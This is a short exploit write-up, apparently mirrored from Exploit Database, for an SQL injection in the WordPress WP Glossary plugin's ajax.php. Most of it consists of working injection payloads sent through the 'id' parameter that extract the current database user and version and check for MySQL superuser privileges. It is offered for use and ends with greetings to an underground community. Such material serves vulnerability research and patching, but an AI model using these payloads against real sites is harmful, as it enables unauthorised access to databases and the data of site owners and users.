WordPress Plugin Glossary – SQL Injection

• Exploit Database
• 35 阅读

• 作者： longrifle0x
  日期： 2011-10-31
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/18055/

• ######################################################
  # Exploit Title: WordPress WP Glossary plugin SQL Injection Vulnerability
  # Date: 2011-30-10
  # Author: longrifle0x
  # software: WordPress
  # Download: http://wordpress.org/extend/plugins/wp-glossary/
  # Tools: SQLMAP
  ######################################################
  
  *DESCRIPTIONDiscovered a vulnerability in WP Glossary, WordPress Plugin,
  vulnerability is SQL injection.
  File: wp-content/plugins/wp-glossary/ajax.php
  Exploit: id=-1; or 1=if
  
  *Exploitation*
  http://localhost:80/wp-content/plugins/wp-glossary/ajax.php
   [GET][id=-1][CURRENT_USER()
  http://localhost:80/wp-content/plugins/wp-glossary/ajax.php
   [GET][id=-1][SELECT
  (CASE WHEN ((SELECT super_priv FROMmysql.user WHERE user='None' LIMIT
  0,1)='Y') THEN 1 ELSE 0 END)
  http://localhost:80/
  wp-content/plugins/wp-glossary/ajax.php [GET][id=-1][MID((VERSION()),1,6)
  
  
  ***Greetz: Georgian Underground Community***